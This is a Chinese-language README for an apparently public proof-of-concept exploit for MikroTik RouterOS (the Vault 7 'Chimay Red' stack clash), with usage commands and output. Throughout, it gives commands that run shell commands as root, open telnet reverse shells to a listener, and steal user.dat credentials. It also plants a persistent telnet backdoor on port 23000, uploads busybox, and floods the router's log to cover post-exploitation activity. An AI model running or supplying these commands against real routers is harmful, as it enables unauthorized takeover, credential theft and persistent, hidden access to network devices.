Vault 7 CIA 泄露中 Mikrotik 漏洞利用的工作 POC
对 Vault 7 CIA 泄露中 Mikrotik 漏洞利用的逆向工程
更多信息请参阅 PDF(未更新)
直到 RouterOS 6.38.4
6.38.5 中的新内容(2017-Mar-09 11:32): !) www - 修复了 http 服务器漏洞;
简单的崩溃方式——在 post 头中将 content-length 设为 -1
使用两个线程的栈冲突漏洞利用,缺少 ROP 链
由于 ROP 是动态生成的,你必须从 RouterOS 固件中提取 www 二进制文件。
(它位于 /nova/bin/ 中)
检查正在运行的版本是否相同。
为简化提取,你可以使用:
$ ./tools/getROSbin.py 6.38.4 x86 /nova/bin/www www_binary
使用两个线程的栈冲突漏洞利用,带有 ROP 链以运行 bash 命令
在一个 shell 中:
$ nc -l -p 1234
在另一个 shell 中:
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f 2>&1"
其中:
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "cp /rw/store/user.dat /ram/winbox.idx"
$ sleep 3 # (等待几秒让 www 重启)
$ curl -s http://192.168.8.1/winbox/index | ./tools/extract_user.py -
你可以使用 /nova/bin/info 在 Mikrotik 控制台中执行命令。
例如:/nova/bin/info "/system reboot" 将重启系统。
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/nova/bin/info '/export' > /ram/winbox.idx"
$ sleep 20 # (执行 /export 命令有点慢)
$ curl -s http://192.168.8.1/winbox/index
使用两个线程的栈冲突漏洞利用,带有 ROP 链 + shellcode 以运行 bash 命令 在 mips 版本的 www 中,栈是 RWX 的,因此我们可以跳转到栈上。
你可以运行与 x86 版本相同的 bash 命令。
有趣的命令
$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "echo hello world > /dev/lcd"

不要这样做! ;-P
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "while [ true ]; do /nova/bin/info ':beep frequency=660 length=100ms;:delay 150ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=510 length=100ms;:delay 100ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=770 length=100ms;:delay 550ms;:beep frequency=380 length=100ms;:delay 575ms;:beep frequency=510 length=100ms;:delay 450ms;:beep frequency=380 length=100ms;:delay 400ms;:beep frequency=320 length=100ms;:delay 500ms;:beep frequency=440 length=100ms;:delay 300ms;:beep frequency=480 length=80ms;:delay 330ms;:beep frequency=450 length=100ms;:delay 150ms;:beep frequency=430 length=100ms;:delay 300ms;:beep frequency=380 length=100ms;:delay 200ms;:beep frequency=660 length=80ms;:delay 200ms;:beep frequency=760 length=50ms;:delay 150ms;:beep frequency=860 length=100ms;:delay 300ms;:beep frequency=700 length=80ms;:delay 150ms;:beep frequency=760 length=50ms;:delay 350ms;:beep frequency=660 length=80ms;:delay 300ms;:beep frequency=520 length=80ms;:delay 150ms;:beep frequency=580 length=80ms;:delay 150ms;:beep frequency=480 length=80ms;:delay 500ms;'; done"
将 busybox-mips 上传到 /ram/busybox
在一个 shell 中:
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ { echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x //g"; } | nc -l -q 0 -p 1234
在另一个 shell 中(注意这是反弹 shell 命令):
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"
然后等待连接自动关闭。
(文件上传完成后,再次运行反弹 shell(这次只用 nc -l -p 1234 监听),你会在 /ram/ 中找到 busybox)
你可以通过在 /flash/etc/rc.d/run.d/ 中创建 bash 脚本,在每次启动时运行脚本。
注意设置执行权限,否则你的路由器会在启动时卡住,你将不得不恢复固件!
此示例在端口 23000 上启用持久化 telnet 服务器。
在一个 shell 中:
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ { echo "echo Installing..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /flash/bin/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x //g"; echo "chmod 777 /flash/bin/busybox"; echo "/flash/bin/busybox --install -s /flash/bin/"; echo "mkdir -p /flash/etc/rc.d/run.d"; echo 'echo -e "#!/flash/bin/sh\ntelnetd -p 23000 -l sh" > /flash/etc/rc.d/run.d/S89own'; echo "chmod 777 /flash/etc/rc.d/run.d/S89own"; echo "/nova/bin/info '/system reboot'"; echo "echo Done! Rebooting..."; } | nc -l -p 1234
在另一个 shell 中(注意这是反弹 shell 命令):
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"
然后等待 Done! Rebooting... 出现。
一旦路由器重新启动:
$ telnet 192.168.8.1 23000
Trying 192.168.8.1...
Connected to 192.168.8.1.
Escape character is '^]'.
MikroTik v6.38.4 (stable)
/ #
复用 http socket 来生成 shell,这样你无需反弹连接即可获得 shell。
$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary
[...]
sh: turning off NDELAY mode
Got root ;-)
将 busybox-mips 上传到 /ram/busybox
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary busybox-mips /ram/busybox
[...]
Uploading busybox-mips in /ram/busybox...
Upload done!
sh: turning off NDELAY mode
Got root ;-)
chmod 777 /ram/busybox
/ram/busybox
BusyBox v1.28.1 (2018-02-15 14:34:02 CET) multi-call binary.
[...]
仅支持 RGB Bitmap 24 位(未压缩)文件。 最大尺寸:160px 宽,76px 高 你可以在此找到示例
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary docs/logo.bmp /flash/boot/logo.bmp
[...]
Uploading docs/logo.bmp in /flash/boot/logo.bmp...
Upload done!
sh: turning off NDELAY mode
Got root ;-)
reboot
*** Connection closed by remote host ***

在利用后操作之后删除日志
/ # /nova/bin/info ":for i from=1 to=1000 do={ :log info message='Some dummy info' }"
这是对泄露的 CIA 文档的逆向工程。 没有公开可用的 chimay-red.py。
一旦我有足够的时间,我会更新 PDF,无论如何: 我们知道:
借助 Content-Length 和 alloca 宏,我们可以控制栈指针以及 post 数据将被写入的位置。 如果我们向线程 A 的 socket 发送大于 128KB 的 Content-Length,栈指针将指向另一个线程(B)的栈内部,因此(线程 A 的)POST 数据将被写入线程 B 的栈内(在我们想要的任何位置,我们只需要调整 Content-Length 的值)。 所以现在我们可以从保存返回地址的位置开始,在线程 B 的栈中写入 ROP 链。 当我们关闭线程 B 的 socket 时,ROP 链将开始执行,因为等待数据的函数将返回(但返回到我们修改后的地址)。
ROP 链通过查找二进制文件中的字符串块并将它们拼接在未使用的内存区域中,来构造 "system" 字符串和 "your_shell_cmd" 字符串。 然后我们返回到 "dlsym" 函数(存在于 PLT 中),将刚创建的字符串 "system" 的地址作为参数传递,以找到 "system" 函数的地址。 现在我们可以返回到 system 的地址,将刚创建的字符串 "your_shell_cmd" 的地址作为参数传递。
此版本的 www 禁用了 DEP,因此我可以执行栈。 但我不能使用 system 函数,因为文件系统上不存在 "/bin/sh",所以我直接使用了 execve。 一个小的 ROP(3 个 gadget)找到栈上某个位置的地址(我在那里放置了 shellcode),然后跳转到该地址。
在 shellcode 中,我执行 fork(系统调用 4002),然后使用泄露的栈地址,用字符串 "/bin/bash"、"-c"、"your_shell_cmd" 的地址填充一个包含 4 个指针的数组(最后一个指针留为 NULL)。 然后我用以下内容填充 a0、a1、a2:分别是 "/bin/bash" 的地址、上一步填充的数组的地址以及数组中 NULL 条目的地址。 此时我可以启动系统调用 4011(execve)来执行我的 bash 命令。
我没有时间测试所有 RouterOS 版本。 在我测试过的所有稳定版本(6.28、6.27、6.37.2、6.37.3、6.38.3、6.38.4)上它都能工作(x86 和 mipsbe 都是)。 在 6.37.5 上它不工作,但我注意到这是一个 bugfix 版本。 也许在所有 bugfix 版本上我的工具都不工作(未验证)。
我使用 ssl.wrap_socket 实现了 HTTPS 版本,如果 www 刚刚启动,它是可以工作的。
但如果 www 已经运行了一段时间,我必须在运行漏洞利用之前让它崩溃。
如果我让启用了 HTTPS 的 www 崩溃,那么 www 就不再绑定到 HTTPS socket 上了……
所以目前我没有在公开版本中包含 HTTPS 支持,因为在大多数场景下它完全无法工作,并且会在崩溃后使 web 服务器无法访问。
我没有找到通过 web 服务器(www)发现架构的方法。 我认为 CIA 工具使用的是 MNDP(Mikrotik Network Discovery Protocol),但它仅在同一局域网中可用,因此无法从远程网络工作。 所以我没有在我的工具中包含架构发现功能。 如果你是远程的,你必须测试所有架构;如果你在同一局域网中,可以使用 MNDP 工具(github 上有很多 MNDP 工具)。
我没有基于 ARM、TILE、PowerPC 和 MMIPS 的板子,所以我无法在这些版本上调试漏洞。
(对于最后一个,可能只需将 mipsbe 地址转换为小端序即可)。 如果你能支持其他架构,请发送 PR!
通过自定义 initramfs,可以使你的 rootkit 在固件升级后仍然持久存在...更多信息